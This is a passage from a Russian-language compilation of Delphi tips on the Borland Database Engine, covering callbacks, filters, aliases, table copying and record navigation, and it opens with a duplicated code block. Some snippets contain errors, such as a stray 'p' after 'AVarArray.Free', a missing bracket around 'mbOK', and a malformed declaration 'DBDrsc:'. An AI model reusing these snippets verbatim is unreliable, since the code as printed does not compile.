    ecbType: CBType;
    iClientData: longint;
    DataBuffLn: word;
    DataBuff: pCBPROGRESSDesc;
    DbiCbFn: pointer;
  end;
type
  PDbiCbInfo = ^TDbiCbInfo;

  {Наша функция обратного вызова}

function DbiCbFn(ecbType: CBType;
  iClientData: Longint;
  CbInfo: pointer): CBRType stdcall;
var
  s: string;
begin
  {Проверяем, является ли тип обратного вызова тем, который мы ожидаем}
  if ecbType = cbGENPROGRESS then
  begin
    {если iPercentDone меньше нуля, извлекаем число}
    {обработанных записей из параметра szMsg}
    if pCBPROGRESSDesc(cbInfo).iPercentDone < 0 then
    begin
      s := pCBPROGRESSDesc(cbInfo).szMsg;
      Delete(s, 1, Pos(': ', s) + 1);
      {Вычислям процент выполненного и изменяем линейку прогресса}
      Form1.ProgressBar1.Position :=
        Round((StrToInt(s) / Form1.Table1.RecordCount) * 100);
    end
    else
    begin
      {Устанавливаем линейку прогресса}
      Form1.ProgressBar1.Position :=
        pCBPROGRESSDesc(cbInfo).iPercentDone;
    end;
  end;
  {существовал ли предыдущий зарегистрированный обратный вызов?}
  {если так - осуществляем вызов и возвращаемся}
  if PDbiCbInfo(iClientData)^.DbiCbFn <> nil then
    DbiCbFn :=
      pfDBICallBack(PDbiCbInfo(iClientData)^.DbiCbFn)
      (ecbType,
      PDbiCbInfo(iClientData)^.iClientData,
      cbInfo)
  else
    DbiCbFn := cbrCONTINUE;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  CbDataBuff: CBPROGRESSDesc; {Структура DBi}
  {структура данных должна хранить информацию о предыдущем обратном вызове}
  OldDbiCbInfo: TDbiCbInfo;
begin
  {Убедимся в том, что перемещаемая таблица открыта}
  Table1.Open;
  {Убедимся в том, что таблица-приемник закрыта}
  Table2.Close;
  {получаем информацию о любом установленном обратном вызове}
  DbiGetCallBack(Table2.Handle,
    cbGENPROGRESS,
    @OldDbiCbInfo.iClientData,
    @OldDbiCbInfo.DataBuffLn,
    @OldDbiCbInfo.DataBuff,
    pfDBICallBack(OldDbiCbInfo.DbiCbFn));
  {регистрируем наш обратный вызов}
  DbiRegisterCallBack(Table2.Handle,
    cbGENPROGRESS,
    longint(@OldDbiCbInfo),
    SizeOf(cbDataBuff),
    @cbDataBuff,
    @DbiCbFn);

  Form1.ProgressBar1.Position := 0;
  BatchMove1.Execute;

  {если предыдущий обратный вызов существовал - вновь устанавливаем его,}
  {в противном случае "отрегистрируем" наш обратный вызов}
  if OldDbiCbInfo.DbiCbFn <> nil then
    DbiRegisterCallBack(Table2.Handle,
      cbGENPROGRESS,
      OldDbiCbInfo.iClientData,
      OldDbiCbInfo.DataBuffLn,
      OldDbiCbInfo.DataBuff,
      OldDbiCbInfo.DbiCbFn)
  else
    DbiRegisterCallBack(Table2.Handle,
      cbGENPROGRESS,
      longint(@OldDbiCbInfo),
      SizeOf(cbDataBuff),
      @cbDataBuff,
      nil);

  {Показываем наш успех!}
  Table2.Open;

end;

end.

Взято с http://delphiworld.narod.ru


Каким драйвером пользуется TDATABASE?

Вы можете использовать вызов IDAPI dbiGetDatabaseDesc. Вот быстрая справка (не забудьте добавить DB в список используемых модулей):

var
  pDatabase: DBDrsc:
begin
  { pAlias - PChar, содержащий имя псевдонима }
  dbiGetDatabaseDesc ( pAlias, @pDatabase ) ;

Для получения дополнительной информации обратитесь к описанию свойства pDatabase.szDbType.

Взято с http://delphiworld.narod.ru


Изменение месторасположения *.NET-файла

Кто-нибудь знает как изменить месторасположение файла PDOXUSRS.NET во время выполнения программы?

DbiSetProp(hSessionHandle, sesNetFile, pchar('c:\newdir'));

Для получения дескриптора сеанса, если вы используете сессию по умолчанию, необходимо вызвать DbiGetCurrSession .

- Scott Frolich
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Демонстрация обратного вызова BDE

Существует обратный вызов (callback) BDE, который вы можете использовать для получения уведомлений об изменении таблиц Paradox. Тем не менее от вас все же потребуется использование таймера. Функция обратного вызова инициируется при вызове функций, осуществляющих доступ к таблице. Ниже приведен код, демонстрирующий технику работы с описанным выше обратным вызовом:

TCMAIN.PAS:

unit tcmain;

{ Демонстрация cbTableChange }

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  DB, DBTables, ExtCtrls, DBCtrls, Grids, DBGrids, BDE, StdCtrls;

const

  WM_UPDATETABLE = WM_USER + 1;

type

  TForm1 = class(TForm)
    Table1: TTable;
    DataSource1: TDataSource;
    DBGrid1: TDBGrid;
    DBNavigator1: TDBNavigator;
    Timer1: TTimer;
    Button1: TButton;
    procedure Table1AfterOpen(DataSet: TDataSet);
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    FChgCnt: Integer;
    FCB: TBDECallback;
    function TableChangeCallBack(CBInfo: Pointer): CBRType;
    procedure UpdateTableData(var Msg: TMessage); message WM_UPDATETABLE;
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

// Это функция, вызываемая функцией обратного вызова.

function TForm1.TableChangeCallBack(CBInfo: Pointer): CBRType;
begin

  Inc(FChgCnt);
  Caption := IntToStr(FChgCnt);
  MessageBeep(0);
// Здесь мы не можем вызвать Table1.Refresh, делаем это позже.
  PostMessage(Handle, WM_UPDATETABLE, 0, 0);
end;

// Данная функция вызывается в ответ на PostMessage (см. выше).

procedure TForm1.UpdateTableData(var Msg: TMessage);
begin

// Не пытайтесь вызвать обновление, если мы в "середине" редактирования.
  if (Table1.State = dsBrowse) then
    Table1.Refresh;
end;

procedure TForm1.Table1AfterOpen(DataSet: TDataSet);
begin

// Установка обратного вызова.
  FCB := TBDECallback.Create(Self, Table1.Handle, cbTableChanged,
    nil, 0, TableChangeCallBack);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  Table1.DatabaseName := ExtractFilePath(ParamStr(0));
  Table1.Open;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var

  SeqNo: Longint;
begin

// События таймера просто осуществляют вызов DbiGetSeqNo для получения доступа к таблице.
// В противном случае мы не хотим делать обратный вызов, пока что-то делаем
// (типа прокрутки) для получения доступа к данным. DbiGetSeqNo вызывается в случае,
// если таблица не активна.
  if Table1.State <> dsInActive then
    DbiGetSeqNo(Table1.Handle, SeqNo);
end;

end.

TCMAIN.TXT:

object Form1: TForm1

  Left = 270
    Top = 230
    Width = 361
    Height = 251
    Caption = 'Form1'
    PixelsPerInch = 96
    OnCreate = FormCreate
    TextHeight = 13
    object DBGrid1: TDBGrid
    Left = 0
      Top = 83
      Width = 353
      Height = 141
      Align = alBottom
      DataSource = DataSource1
      TabOrder = 0
  end
  object DBNavigator1: TDBNavigator
    Left = 96
      Top = 4
      Width = 240
      Height = 25
      DataSource = DataSource1
      TabOrder = 1
  end
  object Button1: TButton
    Left = 132
      Top = 36
      Width = 75
      Height = 25
      Caption = 'Button1'
      TabOrder = 2
      OnClick = Timer1Timer
  end
  object Table1: TTable
    AfterOpen = Table1AfterOpen
      DatabaseName = 'DBDEMOS'
      TableName = 'VENDORS.DB'
      Left = 16
      Top = 8
  end
  object DataSource1: TDataSource
    DataSet = Table1
      Left = 52
      Top = 8
  end
  object Timer1: TTimer
    OnTimer = Timer1Timer
      Left = 80
      Top = 28
  end
end

- Mark Edington
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

Данный совет показывает как в Delphi 2.01 можно использовать функцию BDE DbiCallBack для получения значения линейки прогресса при длительных пакетных операциях, связанных с движением данных.

Дополнительная документация, описывающая вызовы функций BDE, находится в файле BDE32.HLP (расположенном в каталоге, где установлен 32-битный IDAPI).

При создании функций обратного вызова BDE, BDE будет осуществлять "обратный вызов" функций вашего приложения, позволяя тем самым извещать ваше приложение о происходящих событиях, а в некоторых случаях передавать информацию обратно BDE.

BDE определяет несколько возвращаемых типов, которые могут быть установлены для обратного вызова:

состояние больших пакетных операций.
запросы для передачи информации вызывающему оператору.
Данный совет подробно описывает обратный вызов типа cbGENPROGRESS, позволяющий изменять полоску прогресса в соответствии с состоянием операции.
Чтобы это сделать, необходимо сперва вызвать функцию DbiGetCallBack(), возвращающую дескриптор обратного вызова, который мог быть уже установлен (с этими параметрами), и сохранить информацию в структуре данных. Затем установить свой обратный вызов, заменяя им любой установленный до этого.

При установке вашего обратного вызова вам понадобится передавать BDE указатель на структуру данных, содержащую информацию о предыдущем установленном обратном вызове, после чего, при выполнении вашей функции обратного вызова, вы можете воспользоваться оригинальным обратным вызовом (если он установлен).

BDE каждый раз возвращает вашему приложению сообщение, содержащее количество обработанных записей, или же процентное соотношение обработанных записей, также передаваемое в виде целого числа. Ваш код должен учитывать эту ситуацию. Если процентное поле в структуре обратного вызова больше чем -1, можно сделать вывод что передан процент и можно сразу обновить линейку прогресса. Если же это поле меньше нуля, обратный вызов получил текстовое сообщение, помещенное в поле szTMsg и содержащее количество обработанных записей. В этом случае вам понадобится осуществить грамматический разбор текстового сообщения, преобразовать остальные строки в целое, затем вычислить текущий процент обработанных записей, и только после этого изменить линейку прогресса.

Наконец, после осуществления операции с данными, вам необходимо "отрегистрировать" ваш обратный вызов, и вновь установить предыдущую функцию обратного вызова (если она существует).

Для следующего примера необходимо создать форму и расположить на ней две таблицы, компонент ProgressBar и кнопку.

unit Testbc1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Grids, DBGrids, DB, DBTables, ComCtrls;

type
  TForm1 = class(TForm)
    Table1: TTable;
    BatchMove1: TBatchMove;
    Table2: TTable;
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses Bde; {Здесь расположены Dbi Types и Procs}

{$R *.DFM}

{тип структуры данных для сохранения информации о предыдущем обратном вызове}
type
  TDbiCbInfo = record
    ecbType: CBType;
    iClientData: longint;
    DataBuffLn: word;
    DataBuff: pCBPROGRESSDesc;
    DbiCbFn: pointer;
  end;
type
  PDbiCbInfo = ^TDbiCbInfo;

  {Наша функция обратного вызова}

function DbiCbFn(ecbType: CBType;
  iClientData: Longint;
  CbInfo: pointer): CBRType stdcall;
var
  s: string;
begin
  {Проверяем, является ли тип обратного вызова тем, который мы ожидаем}
  if ecbType = cbGENPROGRESS then
  begin
    {если iPercentDone меньше нуля, извлекаем число}
    {обработанных записей из параметра szMsg}
    if pCBPROGRESSDesc(cbInfo).iPercentDone < 0 then
    begin
      s := pCBPROGRESSDesc(cbInfo).szMsg;
      Delete(s, 1, Pos(': ', s) + 1);
      {Вычислям процент выполненного и изменяем линейку прогресса}
      Form1.ProgressBar1.Position :=
        Round((StrToInt(s) / Form1.Table1.RecordCount) * 100);
    end
    else
    begin
      {Устанавливаем линейку прогресса}
      Form1.ProgressBar1.Position :=
        pCBPROGRESSDesc(cbInfo).iPercentDone;
    end;
  end;
  {существовал ли предыдущий зарегистрированный обратный вызов?}
  {если так - осуществляем вызов и возвращаемся}
  if PDbiCbInfo(iClientData)^.DbiCbFn <> nil then
    DbiCbFn :=
      pfDBICallBack(PDbiCbInfo(iClientData)^.DbiCbFn)
      (ecbType,
      PDbiCbInfo(iClientData)^.iClientData,
      cbInfo)
  else
    DbiCbFn := cbrCONTINUE;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  CbDataBuff: CBPROGRESSDesc; {Структура DBi}
  {структура данных должна хранить информацию о предыдущем обратном вызове}
  OldDbiCbInfo: TDbiCbInfo;
begin
  {Убедимся в том, что перемещаемая таблица открыта}
  Table1.Open;
  {Убедимся в том, что таблица-приемник закрыта}
  Table2.Close;
  {получаем информацию о любом установленном обратном вызове}
  DbiGetCallBack(Table2.Handle,
    cbGENPROGRESS,
    @OldDbiCbInfo.iClientData,
    @OldDbiCbInfo.DataBuffLn,
    @OldDbiCbInfo.DataBuff,
    pfDBICallBack(OldDbiCbInfo.DbiCbFn));
  {регистрируем наш обратный вызов}
  DbiRegisterCallBack(Table2.Handle,
    cbGENPROGRESS,
    longint(@OldDbiCbInfo),
    SizeOf(cbDataBuff),
    @cbDataBuff,
    @DbiCbFn);

  Form1.ProgressBar1.Position := 0;
  BatchMove1.Execute;

  {если предыдущий обратный вызов существовал - вновь устанавливаем его,}
  {в противном случае "отрегистрируем" наш обратный вызов}
  if OldDbiCbInfo.DbiCbFn <> nil then
    DbiRegisterCallBack(Table2.Handle,
      cbGENPROGRESS,
      OldDbiCbInfo.iClientData,
      OldDbiCbInfo.DataBuffLn,
      OldDbiCbInfo.DataBuff,
      OldDbiCbInfo.DbiCbFn)
  else
    DbiRegisterCallBack(Table2.Handle,
      cbGENPROGRESS,
      longint(@OldDbiCbInfo),
      SizeOf(cbDataBuff),
      @cbDataBuff,
      nil);

  {Показываем наш успех!}
  Table2.Open;

end;

end.

Взято с http://delphiworld.narod.ru


Пример DbiAddFilter

Автор: Mark Erbaugh

type
  TmyFilter = record
    Expr: CANExpr;
    Nodes: array[0..2] of CANNode;
    literals: array[0..7] of char;
  end;

const
  myFilter: TMyFilter = (Expr:
    (iVer: 1; iTotalSize: sizeof(TMyFilter); iNodes: 3;
    iNodeStart: sizeof(CANExpr); iLiteralStart: sizeof(CANExpr) +
    3 * sizeof(CANNode));
    Nodes:
    ((canBinary: (nodeClass: nodeBinary; canOP: canEQ;
    iOperand1: sizeof(CANNode); iOperand2: 2 * sizeof(CANNode))),
    (canField: (nodeClass: nodeField; canOP: canField2;
    iFieldNum: 0; iNameOffset: 0)),
    (canConst: (nodeClass: nodeConst; canOP: canCONST2;
    iType: fldZSTRING; iSize: 3; iOffset: 5)));
    literals:
    ('T', 'Y', 'P', 'E', #0, 'I', 'N', #0));

var
  dbResult: DBIResult;
  hFilter, hFilter1: hDBIFilter;
begin (* procedure SetupFilter *)
  dbResult := DbiAddFilter(tblAP_.Handle, 1, 1,
    False, addr(myFilter), nil, hFilter);
  dbResult := DbiActivateFilter(tblAP_.Handle, hFilter);
  tblAP_.First;
  myFilter.nodes[0].canBinary.canOp := canNE;
  dbResult := DbiAddFilter(tblAP1_.Handle, 1, 1,
    False, addr(myFilter), nil, hFilter1);
  dbResult := DbiActivateFilter(tblAP1_.Handle, hFilter1);
  tblAP1_.First;
  myFilter.nodes[0].canBinary.canOp := canEQ;
end;

Этот пример устанавливает два фильтра. Первый (применяемый к tblAP_) выводит все записи, где ТИП поля имеет значение 'IN'. Второй (применяемый к tblAP1_) выводит все записи, где ТИП поля не имеет значения 'IN'.

Также необходимо включить в ваш файл файлы DBITYPES и DBIPROCS, где определены вызываемые функции и константы.

Взято с http://delphiworld.narod.ru


Работа с базами данных

Cодержание раздела:

Как использовать базу данных BDE не указывая её имени?
Узнать физическое расположение локальной БД по Alias
Как проверять корректность доступа к базе данных?
Как зарегистрировать базу данных (BDE)?
Определение типа базы данных
Как очистить базу данных, оставив только структуру?
Функция для быстрого копирования таблиц вместе со всеми дополнительными файлами
Как перейти к указанной записи в БД New!

См. также другие разделы:
Работа с Alias

См. также статьи в других разделах:
Индекс БД в другом каталоге
Поиск в базе данных
Как создать DBase базу данных?
Понятия Instance, Database etc
Как паковать базу данных
Как получить список таблиц в базе Access?
Как предотвратить появление login dialog?
Как получить список таблиц?
Можно-ли создать пользователя БД при помощи SQL-команды?
Как скопировать данные между БД?


Как использовать базу данных BDE не указывая её имени?

Если база данных находится в той же директории, что и экзешник, то в качестве имени базы можно использовать .\ в поле DatabaseName в TTable

Взято из http://forum.sources.ru

Примечания Vit:
1) Если путь другой - то в поле DatabaseName можно прописать путь, например: c:\Program Files\...
2) Прописывание путивместо alias не исключает необходимости использования BDE


Как узнать физическое расположение локальной БД по Alias?

По Table(Query).Database:

uses
  DbiProcs;

function GetDirByDatabase(Database: TDatabase): string;
var
  pszDir: PChar;
begin
  pszDir := StrAlloc(255);
  try
    DbiGetDirectory(Database.Handle, True, pszDir);
    Result := StrPas(pszDir);
  finally
    StrDispose(pszDir);
  end;
end;

По алиасу:

function GetPhNameByAlias(sAlias: string): string;
var
  Database: TDatabase;
  pszDir: PChar;
begin
  Database := TDatabase.Create(nil); {allocate memory}
  pszDir := StrAlloc(255);
  try
    Database.AliasName := sAlias;
    Database.DatabaseName := 'TEMP'; {requires a name -- is ignored}
    Database.Connected := True; {connect without opening any table}
    DbiGetDirectory(Database.Handle, True, pszDir); {get the dir.}
    Database.Connected := False; {disconnect}
    Result := StrPas(pszDir); {convert to a string}
  finally
    Database.Free; {free memory}
  end;
end;

Взято с http://delphiworld.narod.ru


Как проверять корректность доступа к базе данных?

Следующая функция проверяет доступ к базе данных и выдает возможные причины, если доступ не удается осуществить. Функция возвращает значение True в случае успешной операции и False в противном случае.

function TBDEDirect.CheckDatabase: Boolean;
var DS: TDataSource;
begin
  Result := False;
  DS := GetDataSource;
  if DS = nil then
    begin
      MessageDlg('Не установлена связь с элементом-источником данных.'+
        'Проверьте установку свойства DataSource.',
        mtError, [mbOK], 0);
      Exit;
    end;
  if DS.DataSet = nil then
    begin
      MessageDlg('Доступ к базе данных невозможен.', mtError,[mbOK], 0);
      Exit;
    end;
  if TDBDataSet(DS.DataSet).Database = nil then
    begin
      MessageDlg('Доступ к базе данных невозможен.', mtError,[mbOK], 0);
      Exit;
    end;
  if TDBDataSet(DS.DataSet).Database.Handle = nil then
    begin
      MessageDlg('Дескриптор (Handle) БД недоступен.', mtError,[mbOK], 0);
      Exit;
    end;
  if DS.DataSet.Handle = nil then
    begin
      MessageDlg('Дескриптор курсора (Cursor-Handle) недоступен.', mtError, mbOK], 0);
      Exit;
    end;
  Result := True;
end;


Как узнать путь базы данных и её имя?

Делается это при помощи dbiGetDatabaseDesc:

uses BDE;
.....

procedure ShowDatabaseDesc(DBName: string);
const
  DescStr = 'Driver Name: %s'#13#10'AliasName: %s'#13#10 +
    'Text: %s'#13#10'Physical Name/Path: %s';
var
  dbDes: DBDesc;
begin
  dbiGetDatabaseDesc(PChar(DBName), @dbDes);
  with dbDes do
    ShowMessage(Format(DescStr, [szDbType, szName, szText, szPhyName]));
end;

Взято из http://forum.sources.ru


Как зарегистрировать базу данных (BDE)?

Session.AddAlias(AliasName, AliasDriver, Params);
Session.SaveConfigFile;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

uses
  DBIProcs, DBITypes;

procedure AddBDEAlias(sAliasName, sAliasPath, sDBDriver: string);
var
  h: hDBISes;
begin
  DBIInit(nil);
  DBIStartSession('dummy', h, '');
  DBIAddAlias(nil, PChar(sAliasName), PChar(sDBDriver),
    PChar('PATH:' + sAliasPath), True);
  DBICloseSession(h);
  DBIExit;
end;

{ Sample call to create an alias called WORK_DATA that }
{ points to the C:\WORK\DATA directory and uses the    }
{ DBASE driver as the default database driver:         }

AddBDEAlias('WORK_DATA', 'C:\WORK\DATA', 'DBASE');
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Определение типа базы данных

{uses должен включать в себя db, dbitypes, dbiprocs }

procedure TForm1.FormCreate(Sender: TObject);
var

  rDB: DBDesc;
begin

{ Первый аргумент DbiGetDatabaseDesc - имя псевдонима базы данных
типа PChar }
  Check(DbiGetDatabaseDesc('IBLOCAL', @rDB));
{ член szDbType структуры DBDesc содержит информацию о типе
базы данных и имеет тип PChar }
  ShowMessage('Database имеет тип: ' + StrPas(rDB.szDbType));

{ Совет: Если вам просто необходимо узнать -
SQL server это или нет, используйте свойсто TDatabase
IsSQLBased }
end;

OAmiry/Borland
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как очистить базу данных, оставив только структуру?

ЗАМЕЧАНИЕ: Этот пример не работает в режиме редактирования, так как таблица должна быть открыта в эксклюзивном режиме.

procedure TForm1.Button2Click(Sender: TObject);
begin
  {Opens the table in exclusive mode}
  Try
    With Table1 Do
    Begin
      Active:=False;
      Exclusive:=True;
      Active:=True;
      try
        EmptyTable;
      except
        ShowMessage('Cannot empty database');
      end;
    End
  Except
    ShowMessage('cannot open table in exclusive mode');
  End
end;
Взято из http://forum.sources.ru

Примечание Vit: если требуется очистить таблицу не прибегая к эксклюзивному доступу или используя другие способы доступа помимо BDE то рекомендуется выполнить квери:

Delete From MyTable

Которая полностью очистит таблицу. Для MS SQL Server существует и другой способ - выполнение квери:

Truncate Table MyTable

Различие между Delete и Truncate заключается в том, что для операции Delete создаётся запись в Transaction log, что обеспечивает более высокую надёжность, но при больших таблицах выполнение Delete может быть весьма долгим. Напротив, Truncate в Transaction log не попадает и таблица любых размеров необратимо очищается практически мгновенно вне зависимости от её размера. Delete - стандартная операция SQL и поддерживается всеми базами данных, напротив, Truncate - операция не стандартная, поэтому поддерживается лишь отдельными базами данных.


Функция для быстрого копирования таблиц вместе со всеми дополнительными файлами

// Только для не SQL-ых, т.е не промышленных БД (dBase, Paradox ..)
// Путь нужно задавать только АНГЛИЙСКИМИ буквами
procedure QuickCopyTable(T: TTable; DestTblName: string; Overwrite: boolean);
var
  DBType: DBIName;
  WasOpen: boolean;
  NumCopied: word;
begin
  WasOpen := T.Active;
  if not WasOpen then
    T.Open;
  Check(DbiGetProp(hDBIObj(T.Handle),drvDRIVERTYPE, @DBType,SizeOf(DBINAME), NumCopied));
  Check(DbiCopyTable(T.DBHandle, Overwrite, PChar(T.TableName),DBType, PChar(DestTblName)));
  T.Active := WasOpen;
end;

Взято с http://delphiworld.narod.ru


Как перейти к указанной записи в БД

function TBDEDirect.GoToRecord(RecNo: LongInt): Boolean;
var
  RecCount: LongInt;
  Bookmark: TBookmark;
  Res: DBIResult;
begin
  Result := False;
  if CheckDatabase then
  begin
    if RecNo < 1 then
      RecNo := 1;
    RecCount := GetRecordCount;
    if RecNo > RecCount then
      RecNo := RecCount;
    Res := DbiSetToRecordNo(FDataLink.DataSource.DataSet.Handle, RecNo);
    if Res = 0 then
    begin
      Bookmark := StrAlloc(GetBookmarkSize);
      DbiGetBookmark(FDataLink.DataSource.DataSet.Handle, Bookmark);
      FDataLink.DataSource.DataSet.GoToBookmark(Bookmark);
      FDataLink.DataSource.DataSet.FreeBookmark(Bookmark);
      Result := True;
    end
    else
      Check(Res);
  end;
end;

Взято с http://delphiworld.narod.ru


Работа с TTable, TQuery и TDatabase

Cодержание раздела:

Как обновить TQuery не потеряв при этом текущей записи?
Дает ли Delphi возможность корректно прервать выполнение SQL-запроса (BDE)?
Как добавить копию текущей записи?
Создание индексного файла из Delphi
Как по имени Базы Данных получить ссылку на компоненет TDataBase?
Как выбрать случайную запись?
Быстрый доступ к нужной записи в таблице Paradox
Как скопировать структуру таблицы?
Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?
Как результат Query сделать в виде постоянной таблицы?
Фильтр посредством логического поля
Функция вычисления суммы полей
Создание и удаление полей во время выполнения программы
Как пересчитать все вычисляемые поля (Calculated fields) без переоткрытия TDataSet
Поиск по нескольким полям
Поиск значения при вводе Updated!
Поиск записи в больших таблицах
Поиск записи с помощью TQuery
FindKey для нескольких полей
Как показать удалённые записи New!
Вставка новой записи через буфер New!

См. также статьи в других разделах:
Каким драйвером пользуется TDATABASE?


Как обновить TQuery не потеряв при этом текущей записи?

procedure RefreshQuery(AQuery : TQuery; const FieldsForSearch: String);
var
  AList : TList;
  AVarArray : Variant;
  i : Byte;
begin
  AList := TList.Create;
  try
    AQuery.GetFieldList(AList, FieldsForSearch);
    AVarArray := VarArrayCreate([0, AList.Count - 1], varVariant);
    for i := 0 to Pred(AList.Count) do
      AVarArray[i] := TField(AList.Items[i]).AsVariant;
    AQuery.Close;
    AQuery.Open;
    AQuery.Locate(FieldsForSearch, AVarArray, []);
  finally
    AList.Free;
    AVarArray.Free;p
  end;
end;

Взято из http://forum.sources.ru


Дает ли Delphi возможность корректно прервать выполнение SQL-запроса (BDE)?

Дает ли Delphi возможность корректно прервать выполнение SQL-запроса к серверу Oracle с помощью BDE? Например, чтобы при использовании с SQL Plus после отправки SQL-запроса на выполнение на экране появлялось окно с кнопкой Cancel, которое давало бы возможность в любой момент прервать выполнение этого запроса?

Насколько мне известно, для этой цели лучше всего использовать функции Oracle Call Interface (низкоуровневый API Oracle). В комплекте поставки Oracle есть соответствующие примеры для C, и переписать их на Pascal несложно.

Некоторые драйверы SQL Link позволяют прекратить выполнение запроса, если время его выполнения превышает заранее заданное значение (параметр MAX QUERY TIME соответствующего драйвера). Однако драйвер ORACLE, к сожалению, в их число не входит.

Наталия Елманова
Взято из http://forum.sources.ru


Как добавить копию текущей записи?

Следующая функция добавит в конец данных точную копию текущей записи.

procedure AppendCurrent(Dataset:Tdataset);
var
  aField : Variant ;
  i      : Integer ;
begin
  // Создаём массив
  aField := VarArrayCreate([0,DataSet.Fieldcount-1],VarVariant);

  // считываем значения в массив
  for i := 0 to (DataSet.Fieldcount-1) do
     aField[i] := DataSet.fields[i].Value ;

  DataSet.Append ;

  // помещаем значения массива в новую запись
  for i := 0 to (DataSet.Fieldcount-1) do
     DataSet.fields[i].Value := aField[i] ;
end;

Взято из http://forum.sources.ru

Примечания Vit:
1) Если таблица имеет ключевые поля или уникальные индексы данный код приведёт к ошибке "Key violation"


Создание индексного файла из Delphi

Создание индексного файла из Delphi
Если вы используете таблицы dBASE или Paradox, то для создания нового индекса
воспользуйтесь методом AddIndex. Для примера:

    Table1.AddIndex('Articles','Title', []) ;

создаст индексный файл с именем ARTICLES с использованием поля TITLE в качестве индексного ключа.
При создании вы можете воспользоваться различными индексными опциями
(например, уникальность, необслуживаемый и пр.)
-- для получения дополнительной информации обратитесь к
электронной справке по Delphi.
ПРИМЕЧАНИЕ: Ваша таблица должна быть открыта исключительно для того,
чтобы только воспользоваться методом AddIndex.

Поддержка/обновление индексного файла,
если только при создании вы не выставили флаг "необслуживаемый"
(Maintenance-free), происходит автоматически.

Взято с сайта http://blackman.wp-club.net/


Как по имени Базы Данных получить ссылку на компоненет TDataBase?

Автор: Max Rezanov

var
db : TDataBase;
begin

db := Session.FindDatabase(FDataBaseName);
db.StartTransaction;

Взято из http://forum.sources.ru


Как выбрать случайную запись?

procedure TForm1.FormCreate(Sender: TObject);
begin
  Randomize;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Table1.First;
  Table1.MoveBy(Random(Table1.RecordCount));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Быстрый доступ к нужной записи в таблице Paradox

Автор: Valler ( http://www.valler.narod.ru )

var NeedNumber: Integer;

...
NeedNumber := Table.RecNo;
{сохранение номера нужной записи}
...
{код меняющий номе записи}
...
Table.RecNo := NeedNumber;
{востановление номера нужной записи}

Взято из http://forum.sources.ru

Примечания Vit:
1) Следует категорически избегать подобных решений в приложениях "Клиент-Сервер"
2) Если есть многопользовательский доступ, то эта конструкция может работать неправильно


Как скопировать структуру таблицы?

{
  As we know, Paradox Tables consist in a table file and some corresponding index files
  there are many way to copy them:
    1. Using TBatchMover (at DataAccess Pallete) with Mode : BatCopy
       But you can't copy the tables corresponding index files, TBatchMove just
       copies the structure and data.
    2. Using FileCopy
       But you can't copy the tables corresponding index files automatically,
       you should define each files
    .. and many more

  The Simple way is:

  Put two TTables on your form, name it as tbSource and tbTarget.
  Then, put this procedure under implementation area
}

type
  TForm1 = class(TForm)
    tbSource: TTable;
    tbTarget: TTable;
    // ...
  end;

implementation

procedure TForm1.Button1Click(Sender: TObject);
begin
  tbSource.TableName := 'Source.DB';  // The name of your tables which you want to copy from
  tbTarget.TableName := 'Target.DB';  // The name of your tables which you will to copy to
                                      // You Can  set the tbSource.DataBaseName to an existing path/Alias
                                      //    where you store your DB
                                      // You Can  set the tbTarget.DataBaseName to an existing path/Alias
                                      //    where you want to store the duplicate DB
  tbSource.StoreDefs := True;
  tbTarget.StoreDefs := True;
  tbSource.FieldDefs.Update;
  tbSource.IndexDefs.Update;
  tbTarget.FieldDefs := tbSource.FieldDefs;
  tbTarget.IndexDefs := tbSource.IndexDefs;
  tbTarget.CreateTable;
  //Actually you can set these code up to only 5 lines :)
end;

End.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?

Когда вы открываете набор данных при помощи TTable, BDE производит fetch только такого количества записей, которые помещаются в Grid. Если вы захотели переместиться в конец таблицы, то для большинства SQL-серверов возможно перемещение по записям только вперед - т.е. если вам потребуется поместить указатель в середину таблицы то BDE пришлось-бы заново перечитывать записи с ее начала. Причина такой работы в том, что SQL-серверы в большинстве возвращают результаты запросов в виде последовательных наборов записей. В навигационных БД напротив, возможно физическое позиционирование на любую запись таблицы.

Если SQL-сервер поддерживает двунаправленные скроллируемые курсоры, то полное кэширование записей запроса выполняться BDE не будет.

Кроме этого, TTable и TQuery работают по разному. TQuery при перемещении в конец таблицы действительно сделает выборку всех записей, т.к. он и не может иначе - для выполнения задано конкретное SQL-выражение.

TTable-же напротив, показывает всю таблицу, и запросы для получения содержимого таблицы формируются автоматически. Поэтому TTable при нажатии вами в TDBGrid клавиш Ctrl-End сформирует запрос типа

SELECT * FROM TABLE ORDER BY INDEXFIELD DESC

и покажет только видимые в DBGrid записи "с конца". При этом, если нет DESC индекса по полю INDEXFIELD, сортировка данных (ORDER BY) будет производиться на диске. И чем больше записей в таблице, тем дольше. Для того, чтобы перемещение по Ctrl-End для TTable происходило быстро, нужно создать DESC индекс по полю сортировки. В этом случае операцию перехода в конец таблицы TTable выполнит практически мгновенно. Пользователи Delphi C/S могут посмотреть операторы, выдаваемые TTable SQL-серверу при помощи SQL Monitor.

Более подробно на эту тему см. документ http://www.ibase.ru/devinfo/bde.htm

Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
